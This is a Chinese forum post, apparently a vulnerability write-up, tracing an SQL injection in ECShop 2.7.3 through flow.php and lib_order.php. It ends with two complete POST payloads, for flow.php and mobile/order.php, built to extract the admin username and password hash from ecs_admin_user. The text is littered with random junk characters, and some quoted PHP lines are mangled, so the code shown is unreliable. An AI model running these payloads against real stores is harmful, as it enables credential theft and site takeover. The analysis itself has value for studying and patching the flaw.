前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。: }2 j. j% N# W. T5 f
3 x8 p7 g5 k3 v" D! U" _
漏洞关键文件:/ I3 t3 U/ E! D$ I8 C9 T9 v
" j8 P3 S ~" g
/includes/lib_order.php
0 a" D2 x! Z$ \: S- y- y& r9 g U* Z% R) a" v" P
关键函数:
4 h% ]6 k4 |7 r# S( |: a
! V; F4 _+ s* B
1 B1 {! Q! D& M- t/ ^* Z7 K; q/ E0 C6 w
01 function available_shipping_list($region_id_list)
; J3 w" `. ^# h4 k) P: N& L- @+ g$ z; u
02 {
% r1 c9 y2 ~; g# g) P( r, ^& _2 V4 l3 r; \% P2 E) L1 u, ^7 Q
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
4 R# r* G. K8 N( a5 `+ S& d+ `4 e4 y9 L4 Z$ j
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . $ ~5 q* T4 m, ?# m' m3 W! {
* h P' R6 W3 o/ l/ C5 t7 s& `- _05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . + }; `, l9 Q% Y3 ]5 h9 Z
% I# ~2 V* f6 N& w/ y) n
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
( d8 s/ N4 w3 ^) Q% s. |2 O' { t( `
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
8 w5 I1 F4 _+ u& s: ]
9 }3 J# f" Q, h. y6 f+ Q: ^' N' V08 'WHERE r.region_id ' . db_create_in($region_id_list) . ) ?0 s6 n" Z2 p, L3 ^
/ S# j Y# k6 ^" i6 a09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 @( r- S9 k$ L( ?& z5 l# B
$ M' o& f1 o' n- T: G& V) K$ W6 C10
3 U+ K4 o$ a6 b1 R7 z# j3 ^$ `; |# l, l) Q
11 return $GLOBALS['db']->getAll($sql); ) w3 t8 O- W& _3 S0 F# y ~5 X
X- G* m- ]2 w9 F5 H+ r12 } ' ]% {9 k. k) I; N7 U
/ e) y6 b' y, _) w5 J
显然对传入的参数没有任何过滤就带入了查询语句。
' A' |1 ^4 p8 k& [' f" T( _
8 m% L9 i$ X: n下面我们追踪这个函数在flow.php中:( W6 A' h% U: F* b" {) Q
第531行:
1 N5 R5 g. b8 F- ]1 {3 z2 Y. a; k, k, G/ X
1 $shipping_list = available_shipping_list($region);
6 D1 |3 R- R$ }( ]9 b; z
2 B2 B4 N, l* J- X - o8 V5 \! `* Q A3 p
- f2 y3 g+ U; p0 k, C. U
6 b0 r* T5 _* n6 N0 C' `- J( Z9 X1 Z# |$ w0 `$ N3 c
再对传入变量进行追踪:$ ~( j- s3 Q# P, Q2 b3 k4 w
1 Z% J. C. {7 F7 n0 z第530行: $ }0 |" O6 D+ v7 s! R* H3 ~
* T0 O5 M* c6 ]7 Z3 a1 H1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
# j4 w& E! ]- H4 Z$ ]- k* `& d1 }. K: A- d2 R* n- I
: R/ n* D) y. f) p/ G c( m3 K
! S3 ]2 M; k4 j/ c; q
$ d4 t( J6 L3 q3 C
j, D! D5 \6 P; d D8 w2 T
第473行: # Z+ Q! i5 i! g' ? P
" `5 U1 p' G# f1 $consignee = get_consignee($_SESSION['user_id']);
}) ]7 W$ r$ ^# \* W
) b" n/ T6 S, e# D: b0 L( @4 P到了一个关键函数:9 d8 b& H# v' x' h, {
7 L4 i! J/ G1 T; \* m. z/includes/lib_order.php
: V8 F1 R' t0 Q' Q! `6 q
; X: z6 e, W3 c4 B5 Q% f
& p1 _0 i' u5 \1 r9 q( z
3 _) o4 i4 h8 o5 R) d8 H9 [ ! e9 f& c& A6 [- E6 v9 ]- x) S
3 T5 y# J7 ]) e8 F8 t- c
01 function get_consignee($user_id)
5 f' J4 \) i( z: E
9 ^6 N7 Y# t1 X! t02 { - r! X& f) \( O
: R0 z3 \4 j( @/ l/ v03 if (isset($_SESSION['flow_consignee']))
* H) ]1 H& |# r0 R) q4 F" T% O$ `/ m
04 { & g: C1 Y5 m. y& y$ ^! c% Z
1 c0 m1 ~8 s5 Y2 N/ O
05 /* 如果存在session,则直接返回session中的收货人信息 */ & f) L$ G6 G- Q9 y
) A. ~* ]* i( W06 , W6 B- R6 X8 M2 h' O- d$ A
( |: L* v5 d' A07 return $_SESSION['flow_consignee']; 1 G" d( e8 `4 r9 q1 ^
& t7 |0 L. U) E+ A& w& M6 ?
08 } 4 f; d" E& ~" `. }$ i
5 q6 Y1 [5 } G3 E- ]( b
09 else
3 s8 ?2 I% x# P" T4 q
1 r. J4 e. J$ q; I+ A6 ^10 {
, S6 N) A8 \2 B$ D+ r
; y# f* Q( X. j5 P+ _% q! W, e11 /* 如果不存在,则取得用户的默认收货人信息 */
3 f' E* F {& i* }
2 V; j: M( F0 W, k: h12 $arr = array(); - B6 B( A Z9 }( j+ P, W) w
; a! |% v% D g: P A
13
0 z- o9 C2 U6 b& }- e* v% f/ e$ L7 S. _3 F9 I" i' `
14 if ($user_id > 0)
; O' Z5 {6 o% A1 D% p
4 J: Y. y% F& \5 e15 { 0 U/ m! {! t K! w/ ~1 Q- H
, z( M) _/ ^/ O, |; Y. a) u
16 /* 取默认地址 */ 6 K7 Q/ Z! y2 ^* B2 {$ p& N4 `0 H: W
" [' q# R4 ~+ n4 w) m
17 $sql = "SELECT ua.*".
) |2 S% n5 ~; q$ y+ D$ w# @0 Z" p5 r M/ c3 A1 F
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 2 e& }3 G7 `7 G1 ~1 @7 k
" c; T+ ]$ j' H! m19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ( x3 H0 ]5 }/ ]) f8 a" c
, j2 Y' w' L8 ~: |
20
/ }& ]; z; W* z2 `* C( m. }; E6 U3 a
8 R _7 Y5 N# R21 $arr = $GLOBALS['db']->getRow($sql); v1 ~6 f/ a, q! e( l% ~
7 f# R7 a* J0 c5 w9 d) @
22 } % x5 [* s8 N8 a: J! {# O( i
! R0 M* S/ j) T& x3 A& t% W23
\8 T2 P3 J0 h# s, m7 ~, G8 i3 K& U& j) Y
24 return $arr;
) V2 s, k5 r6 C* P, s3 Q. J& f$ j
# G+ r$ H# _8 z25 }
) w/ d! _; n! c0 `: _
" c! C6 _# T( J! q2 l( X" e' j26 } & Q( G& |: |3 w6 Q7 c2 B+ Q3 o
& ]! P) C7 t- K, c
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?7 J! w! \5 s4 z* ~" z: J( p: w
7 C. j& M2 O: |2 ^! z' f/ F/ _
2 J- m3 D! C9 d) C6 c
# T v+ O# v5 q/ F1 m( f5 \. C7 q关键点:/ k0 E6 s: J1 ~% N8 ]: s
; l' s l! z e6 R' v6 W! R# D
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
* L- h. |* R( h) H/ @- r
. u$ c) B5 y, J t: W; H7 V这里对传入参数反转义存入$_SESSION中。8 G- w* D$ x9 b+ [! a8 w) O
0 p" p6 q8 B* V" U7 o9 Y% p4 y . L9 j! f( U- _ V; v7 p
Z! M6 Z. @) ~$ s2 x然后看下:
) P0 S# r, T9 |- C# d/ F+ [7 d7 z& [0 I" k0 M
* w! a9 S; }( [4 @% m" Q: [; f- ~( l/ ~% {$ S- u$ Y% u3 f% b) }; C& J) E
, ^, `8 C1 V/ t% j! H/ A* l
. e) g- j) V" W) x/ a* \9 n. U01 $consignee = array( ( z: J* k( ?; S3 R: [- p
) z% L# p: h* L& X2 n6 s/ l3 L
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
. V9 k- }4 s1 ?( M/ ]- d, H
! Y+ g/ `9 Q. I' x0 V. |' M. N03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
( f3 u' W- X/ x1 y" W' x$ i( S* z$ ]2 q4 ~, E p- i
04 'country' => empty($_POST['country']) ? '' _POST['country'],
( ` n7 C2 m0 t* D) {" L, F- N4 b
05 'province' => empty($_POST['province']) ? '' _POST['province'],
5 C& x1 |) n4 i3 K. i# a2 _$ {
" h. b/ W' ?+ W, v' S06 'city' => empty($_POST['city']) ? '' _POST['city'], ( \8 ~% A, \! t2 C5 i+ r' D. O$ X1 F" E
+ L# v( W) q5 {0 q' z3 k
07 'district' => empty($_POST['district']) ? '' _POST['district'],
$ Q( r: F. R8 n; C
* j7 Z7 y- n% ^6 @; p! p08 'email' => empty($_POST['email']) ? '' _POST['email'],
/ o6 B) t8 w" L8 ~: x$ f9 ?# j/ s: U, H k* A( k* D! t
09 'address' => empty($_POST['address']) ? '' _POST['address'], " |# C' \& g9 b+ R
# Z3 q) ~4 @9 s$ s5 [, O/ J
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), $ G" U$ ] n: c, M |! c
! j6 w4 A, l+ Z% e* S1 r3 J
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), % N/ a4 p/ m% P, q7 G" T# Z
" p. W/ C: K E( U. E" t6 @+ I12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
4 R; B, p& S6 g8 c* ]/ T: l, \5 _* i- q a. B
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
1 D8 C- w4 G2 [0 K5 `. R h* z! P1 R# A% [
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], + G* {- C& n$ R) O8 t8 j( d
/ Y: K* A9 t. w* W: Z7 L7 k15 ); : L q7 N% M5 f3 r: [: |
3 y; j- ?/ L+ H1 y好了注入就这样出现了。/ f# `! q% z& `$ ?8 ?2 K# S& \) L* G
" J8 M8 L" e/ H; D7 m) R9 H
==================
: D- z( ]$ c$ c) s$ |' R* ]" n- {7 A/ J7 k+ O
注入测试:; ?$ a: p5 W: _( u
# N" G7 I9 q8 M; r, b+ i6 T. B
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)3 n4 q% A' A2 U; f
+ B+ m+ h0 N' i
测试程序:ECShop_V2.7.3_UTF8_release1106
) k8 k* u1 d% N( c- M* L) i$ A& C0 E& N* |, A: @4 P
- X8 g& |* \, v' z8 p" B
5 P g2 D3 V. R9 \1.首先需要点击一个商品加入购物车
: ~( S( i Z) v/ S- y& a0 _
8 Y/ w9 }: O* E- r2.注册一个会员帐号
c1 a/ U% |! ~
0 [8 h) K$ H( z; M4 L" m3.post提交数据7 U% N& Z3 V( J! x+ @7 a! U
# |9 X {" Q8 L3 L% N; K$ S
$ M, d& @. |& k& P6 ?* t6 w: }" U9 @ g+ a2 y5 q$ x) P, j: z( M: {3 E9 U
1 http://127.0.0.1/ecshop/flow.php 8 a2 e7 a, V- b7 u W* m
: T0 [$ g, W! F0 p) g* B* M( w% [
2 # ^+ M2 J+ f/ {
3 O+ J8 _- `: ^% @
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= / O* Y! M! ]9 N3 g. Z: M. s
举一反三,我们根据这个漏洞我们可以继续深入挖掘:1 D" w! J4 _7 g1 z2 P/ g
2 \- ^. P% {6 N( f+ |/ Q我们搜寻关键函数function available_shipping_list()5 t/ a& @; c9 g2 J- z
* ?5 r% S4 p; Y7 L
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同& i" L6 Y' X& ~4 L/ H; v
$ a7 [$ z. _+ |0 N" w% T* @, t利用exp:/ V6 l9 {' P$ A
( p8 V0 ]. Y+ H8 x6 s1.点击一个商品,点击购买商标! K9 o, o8 d+ Z9 E% A; D8 F% t
" N7 P* @% z* p2 [( q" V2.登录会员帐号
/ @( c3 j" V2 t' }- ]
9 W+ N4 x1 K$ r- A) _3 ~3.post提交:" n3 r. m8 F5 N" _' h9 Q
0 u- P5 c9 h' |2 M. phttp://127.0.0.1/ecshop/mobile/order.php
1 [/ |: {# ~7 E' `: N' r, \4 c
/ H% U, B/ `6 ?9 n: C, {
! V/ y5 t: ?( {3 C! b4 ^! ~6 P
6 Y1 o+ n) J" j/ X! ocountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=2 N5 a, A j, h6 z. O
" m' o/ R6 i( ^% t |